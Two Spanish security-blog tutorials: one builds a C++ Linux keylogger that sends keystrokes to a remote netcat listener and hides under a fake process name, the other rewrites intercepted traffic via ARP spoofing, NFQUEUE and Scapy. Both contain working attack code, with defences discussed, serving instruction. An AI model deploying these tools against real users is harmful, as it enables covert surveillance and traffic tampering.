09 noviembre 2011

Keylogger en Linux

En uno de mis primeros artículos expliqué en qué consistían los keyloggers hardware y sus implicaciones para la seguridad. Estos dispositivos se conectaban entre el puerto del teclado y el cable del mismo y guardaban o reenviaban a un punto de escucha remoto todo aquello que la víctima teclease. La primera conclusión que extrajimos de aquel artículo era la importancia de reforzar la seguridad física de los equipos para evitar el acceso a los mismos de personas que los manipulen en su provecho.

Sin embargo, además de los keylogger hardware existen los software. Estos son programas que se instalan en el ordenador y funcionan de manera oculta al usuario mientras cazan lo que este teclea. En el presente artículo vamos a desarrollar un keylogger para Linux e iremos estudiando los diferentes conceptos en los que estos se basan.

Linux es un sistema de naturaleza abierta. Al ser un sistema operativo desarrollado por voluntarios se busca que sea sencillo y que todos los recursos sean fácilmente accesibles de manera que no se desanime a los que se quieran iniciar en él. Gracias a ello, hay una abundantísima documentación disponible en la red sobre cómo hacer casi cualquier cosa en Linux, a diferencia de "el otro" sistema operativo preponderante en el que parece que todo está enfocado a que compres una licencia de Visual Studio. En ese sentido una de las cosas que sorprenden a los que se adentran en el mundo de Linux es que el interfaz interno hacia los periféricos del ordenador se realiza a través de ficheros de manera que comunicarse con un periférico es tan sencillo como escribir en su correspondiente fichero y leer de él.

Estos ficheros especiales se sitúan en el subdirectorio /dev. En el se pueden encontrar, categorizados en diferentes subcarpetas los ficheros correspondientes al ratón, el joystick, la impresora, los dispositivos usb, etc. En concreto, un teclado PS/2 como el mío se suele encontrar en la carpeta /dev/input en alguno de los ficheros event. En una primera aproximación, si quiere averiguar a través de qué fichero se puede comunicar con el teclado no tiene más que leer con un cat cada uno de los ficheros, por ejemplo:

$ sudo cat /dev/input/event0

Una vez lanzado el cat abra una ventana y teclee cualquier cosa, si en la ventana donde tiene el cat comienzan a aparecer carácteres extraños conforme teclea ahí es donde se conecta su teclado. Si no ve nada pruebe a hacer cat sobre el siguiente fichero event. En mi caso concreto, el teclado se encuentra en el event2 y esto es lo que veo al teclear dante en otra ventana:



En el fondo, un keylogger no tiene más que hacer lo mismo que nosotros: localizar el fichero event correcto, conectarse a él para leer, interpretar los códigos que lee convirtiéndolos a carácteres comprensibles para un humano y reenviar los mismos a donde esté escuchando el usuario del keylogger.

Para ilustrar el proceso he programado un pequeño keylogger que busca el dispositivo donde se encuentra el teclado y a partir de ahí captura las pulsaciones y las envía a un PC remoto donde se pueden visualizar. Además, este keylogger servirá para ilustrar una técnica de ocultación de procesos basada en disfrazar el nombre de la aplicación dentro de la tabla de procesos. El código fuente del keylogger se encuentra en mi repositorio de aplicaciones y como podrá comprobar está escrito en C++. El que venga leyendo mis artículos hasta el momento sabrá que prefiero programar en Python pero hay varias razones para cambiar de lenguaje en este caso: por un lado la técnica usada para ocultar el keylogger no se puede utilizar en Python y por otro lado estoy preparando un artículo sobre módulos de kernel troyanos... por lo que no me queda otra opción que ir desempolvando mis conocimientos de programación en C.

Como el código fuente sólo cuenta con dos ficheros (fuente y cabecera), para compilarlo no hace falta más que extraer ambos ficheros en el mismo subdirectorio y hacer:

$ g++ keylogger.cpp -o keylogger

Con eso se creará un ejecutable que deberá ser lanzado como sudo ya que el acceso de lectura a los archivos que se encuentran en /dev está limitado a administradores. Si se ejecuta keylogger sin parámetros aparecerá una ayuda con las diferentes opciones que tiene. En principio estas son muy sencillas: los parámetros obligatorios son los que especifican la dirección IP y el puerto TCP donde se encuentra el proceso que escuchará los carácteres reenviados (generalmente un netcat en modo escucha) y como parámetros opcionales si se desea establecer la conexión con el proceso de escucha medioante UDP en vez de TCP y si queremos ejecutar el proceso en modo oculto (stealth). Si le decimos a keylogger que queremos conectar, por ejemplo, con el puerto 5000 de la dirección 10.0.0.3 en el PC que tenga dicha dirección deberemos ejecutar un netcat en modo escucha con la siguiente orden:

$ nc -l 5000

En cuanto se conecte keylogger desde su respectiva dirección empezaremos a ver el volcado de pulsaciones. Si no disponemos de otro PC desde el que realizar la escucha podemos probar keylogger diciéndole que remita las pulsaciones al localhost (127.0.0.1) y lanzar el netcat desde otra consola.



Por defecto, keylogger escribirá mensajes describiendo su funcionamiento en el fichero de log del sistema donde se ejecute (generalmente /var/log/syslog), pero si le pedimos que active el modo stealth pasará a modo silencioso y dejará de escribir en dicho fichero. Además, en modo stealth keylogger sustituye la orden registrada en el sistema por la cadena que le pasemos de manera que cuando se pida un listado de procesos lo que aparezca sea la cadena falsa en vez del nombre verdadero del programa. Me explico, supongamos que ejecutamos keylogger sin activar el stealth:

$ sudo ./keylogger -d 127.0.0.1 -p 5000

Es evidente que si el administrador de la máquina ejecuta un "ps ax" y ve un proceso llamado "keylogger..." se echará las manos a la cabeza alarmado. Sin embargo, si activamos el modo stealth:

sudo ./keylogger -s "javaupdater -d -nogui" -d 127.0.0.1 -p 5000

Lo que verá el administrador al hacer un "ps ax" será un proceso llamado "javaupdater -d -nogui" por lo que, a no ser que se conozca al dedillo los procesos que deberían ejecutarse en el sistema, le pasará totalmente desapercibido.

Vamos a revisar el código y a explicar su funcionamiento paso a paso.

El programa (en su función main) empieza sacando los parámetros del comando introducido por el usuario a través de la función parse_arguments() (línea 426) la cual fija la mayor parte de las variables globales del sistema (dirección IP y puerto del proceso de escucha, si activamos el modo stealth, etc). Luego se activa el modo stealth (go_stealth(), línea 432) , si este ha sido solicitado por el usuario. La función go_stealth() tiene la siguiente estructura:

void go_stealth(int &argc, char **argv)
{
    int argv_lengths[argc];
    for (int i=0; i<argc; i++)
   {
        argv_lengths[i] = strlen(argv[i]);
        memset(argv[i], '\0', argv_lengths[i]);
   }
   int max_argv_length = 16;
   int maximum_size = strlen(stealth_name.c_str())+1;
   char * name_to_split = new char[maximum_size];
   memset(name_to_split, 0, maximum_size);
   strcpy(name_to_split, stealth_name.c_str());
   char * token = strtok(name_to_split, " ");
   int argv_index = 0;
   strncpy(argv[argv_index], token, argv_lengths[argv_index]);
   argv_index++;
   while ((token = strtok(NULL, " ")) != NULL)
   {
       strncpy(argv[argv_index], token, argv_lengths[argv_index]);
       argv_index++;
       if (argv_index >= argc)
           break;
   }
   delete[] name_to_split;
}


Se puede ver que esta función lo primero que hace es borrar el contenido del array de argumentos argv. Esto no supone ningún problema ya que todo lo que podía aportar este array se guardó en la función parse_arguments(). Este borrado se hace con el memset de la línea 100, llenando cada argumento de carácteres null ('\0'). Luego se coge la cadena facilitada por el usuario para falsificar el nombre del programa (stealth_name) y se parte en tokens usando como separadores los espacios entra cada uno de los parámetros (mediante la función strtok() de las líneas 125 y 129). Con cada uno de esos tokens se reescribe el correspondiente argumento del array argv (líneas 127 y 131). Al reescribir por completo el array argv, cuando el administrador ejecute "ps ax" lo que verá es el nuevo contenido. Sin embargo hay que tener en cuenta una serie de condiciones a la hora de utilizar esta técnica de camuflaje:

  1. Cada elemento de argv tiene una longitud fija y determinada por el argumento original. Si argv[0] contenía la cadena "./keylogger" entonces tendrá 11 carácteres de longitud, la cual no podrá ser sobrepasado por la cadena falsa que introduzcamos luego. Por ejemplo, si usásemos: "javaupdater -d -nogui" valdría ya que javaupdater también tiene 11 carácteres mientras que si usásemos "pythonupdater -d -nogui" no nos valdría ya que pythonupdater tiene 13 carácteres y sobrepasaría el espacio disponible en argv[0]. Lo dicho es aplicable al resto de los elementos de argv.
  2. Si usamos una cadena falsa de menos longitud que el argv correspondiente pueden ocurrir dos cosas: si no hemos borrado previamente el contenido de argv como hemos hecho en keylogger veremos como el contenido nuevo y antiguo se superponen lo que estropearía el camuflaje, por otro lado si lo hubiésemos borrado lo que se percibirían sería una serie de espacios entre el final del correspondiente parámetro y el siguiente lo que también resulta llamativo al examinar la salida de un "ps ax".
  3. Es natural pensar que creando un nuevo array de cadenas y haciendo que argv apuntase a él se podría evitar esta limitación de longitudes pero las pruebas que he hecho en ese sentido han sido infructuosas y lo que he encontrado buceando por Internet me hace pensar que argv es un tipo especial de puntero que no permite ser redireccionado. Si alguien avanza en este sentido más que yo recibiré con agrado sus comentarios al respecto.
Tras la llamada a go_stealth(), la función main llama a locate_keyboard_device() (línea 438) la cual analiza el sistema para deducir a través de qué fichero /dev/input/event se puede acceder al teclado. Para ello lo que hace es leer el fichero /var/log/udev (referenciado en el programa mediante la variable devices_file, es un fichero de texto por lo que se puede leer con un simple less) que contiene información sobre todos los dispositivos conectados al sistema, cada uno de los cuales cuenta con una entrada en el fichero. Se da la situación de que el teclado activo en el sistema cuenta con la cadena "ID_INPUT_KEYBOARD=1" (variable keyboard_tag) en su registro por lo que sólo tenemos que buscar el registro con dicha cadena y ver a que fichero /dev apunta el registro.

Tras averiguar el dispositivo al que se conecta el teclado hay que averiguar cual es el mapa actual de teclado. Esto se hace en la función load_keymap() (línea 457). El mapa de teclado define el valor asignado a cada tecla. Hay que tener en cuenta que un teclado de 105 teclas puede ser vendido en EEUU, España o Japón y en cada país aunque el signo que esté impreso en cada tecla difiera las señales eléctricas que entrega el teclado son las mismas. Por ejemplo, un teclado puede entregar la señal eléctrica 39 al pulsar una determinada tecla, en España esa tecla se usa para el carácter "Ñ" pero en otro país puede que se use para otro carácter diferente. Es el mapa de teclado el que define qué carácter está asignado a cada tecla. Puede que haya mejores maneras de hacerlo, pero la que yo he utilizado es ejecutar desde mi programa la orden:

dumpkeys --keys-only --separate-lines | grep plain

Y volcar el resultado en un fichero. Esta orden muestra información sobre el mapa de teclado activo en el sistema. Luego, load_keymap() procede a leer el fichero resultante línea a línea analizando cada una mediante la función parse_keymap_line() (línea 191). Esta última función analiza cada línea y deduce la asignación tecla-valor a la que hace referencia guardándola en un objeto Keymap (creado por nosotros a partir de la línea 21).

Una vez que tenemos localizado el teclado y aclarado cual es el mapa de teclado, hacemos que el programa pase a modo demonio de manera que siga ejecutándose en segundo plano aunque salgamos de la sesión. El modo demonio es el equivalente Linux de los servicios de Windows. Si quisiéramos que nuestro keylogger se iniciase cada vez que se rebotase el sistema podríamos esconder su orden de arranque en cualquiera de los scripts de inicio de demonios de sistema que se encuentran en /etc/init.d.
La manera de convertir un proceso en demonio no puede ser más sencilla:

pid_t pid = fork();
if (pid < 0)
{
    print("Error while forking.");
    exit(EXIT_FAILURE);
}
if (pid > 0)
{
    print("Forking correct");
    cout << pid << endl;
    exit(EXIT_SUCCESS);
    print("Parent died, child lives.");
}

Cuando se llama a fork() (línea 474) se produce una mitosis de nuestro programa, el resultado es que nuestro programa se divide en dos: el padre que es al que hemos llamado y que corre en primer plano y el hijo que corre en segundo plano. ¿Como se puede distinguir a uno de otro?, el hijo tiene la variable pid con valor 0 y el padre la tiene con un valor mayor que cero (en  realidad el Process ID de su hijo). Como queremos que el resto del programa transcurra en segundo plano le decimos al padre que muera tras imprimir en pantalla el Process ID del hijo (por si queremos matar al keylogger con un kill -9).

A partir de aquí, estamos corriendo en segundo plano (y si hemos activado el modo stealth figuraremos por un nombre falso en la tabla de procesos). Accederemos al fichero del teclado para leer las pulsaciones de teclado abriéndolo como cualquier otro fichero (línea 502) y después estableceremos un socket contra el equipo de escucha mediante la función connect_to_remote_listener() (línea 513).

Hecho todo lo anterior, ya estaremos en condiciones de entrar en el bucle principal de escucha y reenvío:

struct input_event ev;
int ev_size = sizeof(struct input_event);
int rd = 0;
int value = 0;
while (1)
{
    if ((rd = read (kbd, &ev, ev_size)) < ev_size)
        print("Error reading from device.");
    value = ev.value;
    if (value != ' ' && ev.value == 1 && ev.type == 1) 
   {
        stringstream int2string;
        int2string << ev.code;
        print("Logged keystroke: Code[" + int2string.str() +"]\n");
        string mapped_keystroke = system_keymap.getMap(ev.code);
        if (mapped_keystroke.size() > 1)
            mapped_keystroke = "<" + mapped_keystroke + ">";
        print("Mapped keystroke: " + mapped_keystroke + "\n");
        send(sockfd, mapped_keystroke.c_str(), mapped_keystroke.size(), 0);
    }
}
print("Exiting keylogger.");
close(sockfd);
return 0;

Como se puede ver en el código anterior la lectura del fichero /dev/input/event es igual que la de cualquier otro fichero con la peculiaridad de que los datos que se leen de él tienen la forma de una estructura input_event. Los input_event con value y type 1 definen las teclas presionadas, hay otras combinaciones de estos valores para definir los momentos en que las teclas son "soltadas" o "empujadas" (no tengo clara la utilidad de estas casuísticas, sólo me parece útil la de "presión" pero bueno, el caso es que ahí están). Por tanto, cuando se da el caso de una tecla presionada (línea 536), se procede a ver a qué carácter equivale mediante la llamada a system_keymap_getMap() (línea 541). Si la tecla equivale a un carácter sencillo la cadena devuelta tendrá una longitud de 1 (el carácter mismo) pero si es una tecla de función tendrá una longitud mayor por lo que se presentará al usuario de una manera especial (línea 543). Resuelta la equivalencia con el mapa de teclado actual se manda por el socket establecido previamente hacia el proceso de escucha (línea 545).

Se puede probar el programa y ver que su ejecución es bastante limpia y que si se elije una cadena de ocultamiento adecuada será complicado discernir a través de un listado de "ps ax" si es un proceso lícito o no. Otro medio de detección es usando la orden netstat la cual mostrará los sockets establecidos desde la máquina que ejecuta el keylogger con el mundo exterior, si la cadena de ocultamiento no hace referencia a un programa susceptible de usar la red puede ser bastante sospechoso ver que el mismo establece sockets con el exterior sobre todo si la dirección IP de destino y su puerto son un tanto exóticos.

En general, la mejor manera de evitar la instalación de programas como este es evitar el acceso físico de  los usuarios a los servidores. Con acceso físico a la máquina, el intruso puede reiniciarla en modo monousuario con lo que el sistema no le pediría la password de root y podría instalar cualquier cosa que desease como por ejemplo este keylogger. Otra manera de prevenir este tipo de aplicaciones intrusivas es limitar el acceso de los servidores internos hacia el exterior mediante los cortafuegos perimetrales a lo estrictamente necesario, de esta manera el intruso vería seriamente mermada su capacidad de remitir las pulsaciones realizadas a un equipo externo bajo su control.

10 octubre 2011

Manipulando tráfico



Hasta ahora hemos visto maneras de desviar tráfico de su legítimo trayecto y espiar su contenido. También hemos practicado maneras de generar tráfico con la estructura exacta de bajo nivel que deseemos. Conociendo ambas cosas se podría pensar que la manipulación de tráfico es una mera combinación de las dos técnicas: se desvía el tráfico con un ataque de ARP Spoofing y se usa Scapy para leer los paquetes desviados y manipular su contenido.

A priori, esta combinación de recursos debería funcionar pero a la hora de ponerla en práctica tropezaremos con la cruda realidad de cómo se comporta Scapy con respecto a la pila TCP/IP. Y es que cuando Scapy (o tcpdump) escucha un paquete recibido no lo desvía de su trayecto a través de la pila TCP/IP sino que saca una copia del paquete y lo muestra al usuario. Eso quiere decir que aunque manipulemos la copia del paquete, el original se procesará en nuestra pila TCP/IP haciendo que esta lo envíe. Así, lo que ocurrirá es que al enviar el paquete modificado a la víctima en realidad mandaremos dos paquetes: el manipulado y el original. Demasiado ruido para que el ataque funcione correctamente.


Existe un técnica mucho más elegante para realizar este tipo de ataque. Básicamente se trataría de "sacar" los paquetes desviados recibidos de la pila TCP/IP para evitar que se procesen al margen de nuestra manipulación. Mucha gente sabe que el cortafuegos más popular en el mundo Linux es iptables, lo que es menos conocido es que iptables pertenece al ecosistema de netfilter. En realidad, netfilter es el nombre oficial del proyecto que abarca todas las capacidades de filtrado y manipulación de tráfico de red que ofrece el kernel de Linux. Netfilter cuenta además con una API para aplicar cualquier tipo de función en las diversas fases de la pila TCP/IP. Iptables es la aplicación de línea de comandos que aprovecha las funcionalidades ofrecidas por netfilter para comunicar al kernel de Linux las reglas de filtrado de tráfico introducidas por el usuario. Simplificando, se puede decir que iptables es el subconjunto de netfilter que permite a los usuarios introducir reglas de filtrados de tráfico en el kernel.

Lo que vamos a hacer es usar iptables para mover los paquetes desviados a una cola de netfilter. Una vez en dicha cola, usaremos la API de netfilter para aplicar las funciones de modificación que deseemos al paquete y al finalizar sacaremos el paquete de la cola y lo devolveremos la pila de TCP/IP para ser enviado.

Como en otras ocasiones, utilizaremos Python y en concreto la librería python-nfqueue que no es sino un interfaz a la API de colas de netfilter. El programa que vamos a preparar recibe tráfico desviado mediante un ataque de ARP-Spoofing y busca en dicho tráfico una palabra concreta, si la encuentra la sustituye por otra palabra que decidamos nosotros (con la única limitación de que dicha palabra debe ser de igual longitud que la palabra original) y luego remite el tráfico modificado a su legítimo destinatario. El programa principal no puede ser más sencillo:

###########
# PROGRAMA 
###########

parseArguments()

#Le mandamos a IPtables una regla para que redirija el trafico que queremos manipular a una cola de Netfilter. 
os.system("iptables -A FORWARD -d " + target_address.strNormal() + " -p TCP -j NFQUEUE --queue-num 0")

#Creamos una cola de netfilter donde aparcaremos aquellos paquetes a manipular. 
q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)

#Asociamos una funcion a la cola. Esta funcion se aplicará a todos los paquetes que entren en la cola por lo 
#que sera aquella en la que pondremos las operaciones de modificacion de trafico que queremos realizar. 
q.set_callback(replace)

#Activamos la cola y le damos el identificador 0. 
q.create_queue(0)
try:
print "Replacing content. Press Control-C to end." 
  q.try_run()
except KeyboardInterrupt:
print "Program ended by user..." 

#Finalizado el programa deshacemos las configuraciones realizadas en el entorno. 
#os.system("iptables -D FORWARD -d " + target_address.strNormal() + " -p TCP -j NFQUEUE") 
os.system("iptables -F")
q.unbind(socket.AF_INET)
q.close()

Como se puede comprobar, creamos una cola y le asignamos el identificador 0. A esa cola redirigimos el tráfico que vaya dirigido a la víctima mediante una regla de iptables (que al acabar el programa retiramos mediante un "iptables -F"). Con la orden set_callback asociamos a la cola una función de nuestra cosecha (en este caso replace) que se aplicará a todos los paquetes de red que entren en la cola 0. Una vez configurada de esta manera la cola, la activamos mediante la orden try_run. Es importante resaltar que nfqueue usa identificadores para sus colas porque puede trabajar con varias. Nada nos habría impedido crear varias colas, asignándoles a cada una de ellas funciones diferentes, si nos interesase crear colas diferentes que pudiesen procesar distintos tipos de tráfico redirigidos por sendas reglas de iptables o, incluso, colas que fuesen procesando el mismo tráfico sucesivamente como en una cadena de montaje.

La función replace es donde incluimos lo que queremos hacer con cada paquete:


#Esta es la función que vamos a asociar a la cola de netfilter para que se 
#aplique a todos los paquetes que entren en ella.
def replace(dummy, payload):
  print "############################################################"
  print "Recibido paquete desviado: "
  #Usamos Scapy para convertir el paquete en crudo en una estructura 
  #manejable de manera comoda.
  packet = IP(payload.get_data())
  print "Resumen: " + packet.summary()
  #Que sea un paquete TCP no significa que lleve carga. Los paquetes del 
  #treeway handshake no la llevan, asi que para evitar excepciones 
  #modificando un atributo inexistente comprobamos que el paquete 
  #realmente lo tiene.
  if Raw in packet:
    print "El paquete tiene payload."
    content = packet[Raw].load
    #Sustituimos una cadena por otra...
    if string_to_replace in content:
      print "Cadena a reemplazar encontrada en: "
      print "\t " + content
      content = content.replace(string_to_replace, replacing_string)
      print "Contenido sustituido por: "
      print "\t" + content
      packet[Raw].load = content
      #Reconstruimos el paquete. Hay que tener especial cuidado con el 
      #checksum TCP ya que si hemos cambiado el contenido del paquete 
      #habrá que recalcularlo.
      del packet[TCP].chksum
      #Al recrear el paquete pero con el TCP chacksum borrado este se 
      #recalcula en el constructor IP() de Scapy.
      new_packet = IP(str(packet))
      packet = new_packet
  #Y volvemos a reintroducir el paquete en la pila TCP/IP.
  payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(packet), len(packet))
  print "############################################################"


Como se puede ver, nfqueue le pasa a las funciones asignadas como callback dos parámetros: dummy y payload. El parámetro dummy reconozco que es un misterio para mi, en la escueta documentación de python-nfqueue no parece que se le mencione y tampoco parece que se le de uso alguno en los ejemplos, así que lo dejaremos atrás hasta que descubramos para qué sirve. El que sí resulta ser un parámetro crítico es payload que es el que contiene el paquete recibido. Es importante señalar que nfqueue remite a la función de usuario el paquete a partir del nivel IP, por lo que le habrá quitado todas las cabeceras de Ethernet. Así que si queremos jugar con los paquetes a nivel IP o superior (TCP o UDP) nfqueue puede ser una buena opción pero sin embargo si lo que queremos es tocar a nivel Ethernet es posible que tengamos que buscar una alternativa o complemento. Para convertir el payload en un objeto de Scapy que podamos usar como hasta ahora nos basta con llamar al constructor IP() y pasarle como parámetro payload.get_data(). A partir de ahí el comportamiento de la función es evidente: se mira si en la carga del paquete aparece la palabra que queremos sustituir y, en ese caso, la sustituimos por la otra y recalculamos el checksum del paquete TCP. Por último, se usa la función set_verdict_modified para decirle al netfilter que devolvemos a la pila TCP/IP un paquete pero que este es distinto que el que entró en la cola. El parámetro de aceptación es nfqueue. NF_ACCEPT, y el nuevo paquete y su longitud son los otros dos parámetros que se pasan a set_verdict_modified.

Si hubiésemos pasado un parámetro de aceptación con valor nfqueue.NF_QUEUE podríamos remitir el paquete a una cola diferente aunque el identificador de la cola lo tendríamos que "fundir" con el valor nfqueue.NF_QUEUE haciendo un OR binario de los 16 bits superiores de esta constante y el valor binario del identificador de la nueva cola. Suena alambicado pero python-nfqueue no es sino un mero binding a las librerías en C de netfilter y hay algunas cosas que no cubre y no queda más remedio que hacerlo a lo C-way-of-living-style. Para el que no se lo crea que eche un vistazo al doc de netfilter cuando habla de NF_QUEUE.

El recálculo del checksum es crítico ya que la función de esta cabecera del paquete TCP es permitir comprobar que el paquete recibido no ha cambiado (se ha corrompido) por un fallo de transmisión durante el trayecto. En realidad esta cabecera es una reminiscencia de cuando las redes de datos eran mucho menos fiables que las actuales y había que implementar estos mecanismos de integridad en los extremos para solicitar la retransmisión de los paquetes que se corrompiesen por el camino. Reminiscencia o no, lo cierto es que este mecanismo nos afecta directamente si lo que estamos haciendo es cambiar el contenido de los paquetes a mitad del trayecto, ya que si dejamos el checksum original el extremo receptor detectará que el paquete se ha corrompido y lo descartará. Afortunadamente, Scapy se encargará de recalcular el checksum del paquete si se lo pedimos. Bastará con borrar el parámetro checksum del paquete que hemos modificado y usar este para crear uno nuevo. El constructor IP() de Scapy detectará que falta la cabecera checksum en el parámetro que le pasamos y la calculará él mismo.

El resto del programa no tiene mayor misterio, por lo que no merece la pena explicarlo. Puede ser descargado de mi repositorio de aplicaciones para examinar su código detenidamente.

Para probarlo vamos a recurrir a una versión ligeramente modificada de la maqueta de netkit que usamos para el artículo de ARP-Spoofing (también descargable desde el repositorio, cuenta además con un README para su instalación). Como en aquella ocasión, el mapa de red de la maqueta es:



Como se puede ver, la maqueta cuenta con una red de gestión (192.168.20.0/24) pensada para acceder por SSH a los distintos elementos del simulacro sin que el tráfico de gestión se mezcle con el tráfico del experimento. Como las líneas de comandos que arranca netkit a cada una de las máquinas virtuales son bastante limitadas, le recomiendo que desde la consola del PC anfitrión lance una sesión de SSH contra Alice y al menos dos sesiones de SSH contra Sniffer (en concreto contra los interfaces de esos dos equipos en la red de gestión).

Para comenzar la práctica, desde una de las sesiones de SSH abiertas contra Sniffer active un ataque de ARP-Spoofing contra Alice:

PC-Sniffer:~# ./scripts/arpoison.py 192.168.0.1 192.168.0.2

Hasta ahora todo es exactamente igual que en nuestra práctica sobre ARP-Spoofing. A partir de la activación de arpoison todo el tráfico que Alice intercambia con Internet pasa a través de PC-Sniffer, por lo que Sniffer puede o escuchar el tráfico... o modificarlo como vamos a hacer nosotros. Para ello, desde la otra sesión de SSH abierta contra Sniffer vamos a activar pyreplace y le vamos a decir que siempre que en el tráfico dirigido a Alice aparezca la palabra "Mozart" sustituya dicha palabra por "Robert".

PC-Sniffer:~# ./scripts/pyreplace.py 192.168.0.2 "Mozart" "Robert"

Como ya hemos dicho, resulta crítico que ambas palabras sean de la misma longitud. Si quisiéramos sustituir una palabra por otra de longitud diferente nuestro programa se complicaría notablemente ya que no sólo habría que modificar las cabeceras de longitud de los paquetes sino que si sustituimos por palabras de mayor longitud existe la posibilidad de que se supere la longitud máxima de paquete lo que obligaría a distribuir el paquete modificado en dos y a partir de ahí habría que añadir un offset a los números de secuencia (¡y restárselo a los ACK de respuesta!). En fin, sería bastante más trabajoso y no añadiría ningún concepto nuevo pero no imposible para un atacante decidido y con el suficiente interés.

Observe también que siempre utilizamos con los scripts las direcciones de producción de los distintos elementos de red y no su interfaz de gestión.

Ahora vamos a ver si el ataque funciona. Para ello navegaremos desde el PC de Alice hacia Google y buscaremos en él el término "Mozart". Como la sesión que tenemos abierta por SSH con Alice es textual usaremos el navegador textual lynx, mediante la orden:


PC-Alice:~# lynx www.google.com


Como puede ver en las imágenes de abajo (pinche en ellas para ampliarlas), el resultado de Google parece que habla constantemente de un tal "Wolfgan Amadeus... Robert", señal de que pyreplace ha funcionado correctamente.




Como se puede ver, la modificación de tráfico durante el trayecto no resulta complicada. Podría pensar que la limitación de sustituir palabras por otras de la misma longitud resta importancia a este ataque pero por un lado, como hemos dicho más arriba, extender nuestro programa para que pueda usar palabras de sustitución de diferente longitud no resulta conceptualmente complicado y por el otro existen multitud de "campos" de longitud fija cuya manipulación puede resultar en una grave brecha de seguridad: cuentas bancarias, números de DNI, matrículas, etc...

Las salvaguardas contra este tipo de ataques pasan por utilizar mecanismos de cifrado y de integridad. El cifrado evitaría que el atacante localizase la palabra que quiere sustituir y los mecanismos de integridad asegurarían que aunque el atacante lograse modificar el tráfico nuestro sistemas detectaría que el tráfico recibido no es el originalmente enviado y lo rechazaría. Un protocolo como SSL, correctamente utilizado, ofrece estos mecanismos de defensa aunque en determinadas situaciones, que espero poder explicar en artículos posteriores, tampoco son la panacea.